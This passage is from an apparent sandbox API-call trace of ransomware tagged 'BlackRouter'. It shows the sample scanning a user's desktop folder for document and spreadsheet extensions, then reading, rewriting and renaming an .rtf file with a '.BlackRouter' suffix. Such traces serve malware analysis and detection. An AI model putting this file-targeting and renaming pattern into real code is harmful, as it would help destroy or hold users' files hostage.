HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.811] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.wks", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.811] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.rtf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0x1ac59c20 [0039.811] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0039.811] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0039.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf", lpFilePart=0x0) returned 0x47 [0039.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\poib 8zeexma-xs_pu.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.812] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x61aa [0039.812] ReadFile (in: hFile=0x25c, lpBuffer=0x2972ed8, nNumberOfBytesToRead=0x61aa, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x2972ed8*, lpNumberOfBytesRead=0x1ae668*=0x61aa, lpOverlapped=0x0) returned 1 [0039.814] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf", lpFilePart=0x0) returned 0x47 [0039.814] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\poib 8zeexma-xs_pu.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.816] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf", lpFilePart=0x0) returned 0x47 [0039.816] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf.BlackRouter", lpFilePart=0x0) returned 0x53 [0039.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\poib 8zeexma-xs_pu.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c760b70, ftCreationTime.dwHighDateTime=0x1d458ff, ftLastAccessTime.dwLowDateTime=0xd99f8220, ftLastAccessTime.dwHighDateTime=0x1d45fd1, ftLastWriteTime.dwLowDateTime=0xbe3d9a70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x61b0)) returned 1 [0039.816] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\poib 8zeexma-xs_pu.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\POiB 8ZeExMA-XS_pu.rtf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\poib 8zeexma-xs_pu.rtf.blackrouter")) returned 1 [0039.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.817] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.csv", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.817] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.txt", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.818] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.msg", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.818] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pst", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.818] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ppsx", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.819] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.819] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ppsm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.819] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.819] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pps", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.819] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.819] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.819] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pot", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.820] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pptm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.820] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pptx", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.820] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ppt", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.821] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.Zhon", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.821] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xltm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.821] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xltx", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.822] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xlc", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.822] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xlm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.822] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xlt", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.823] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xlw", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.823] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.823] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.823] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xlsb", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.823] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.823] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.823] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xlsm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.823] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.823] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.823] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xlsx", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.824] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.xls", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.824] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.dotm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | 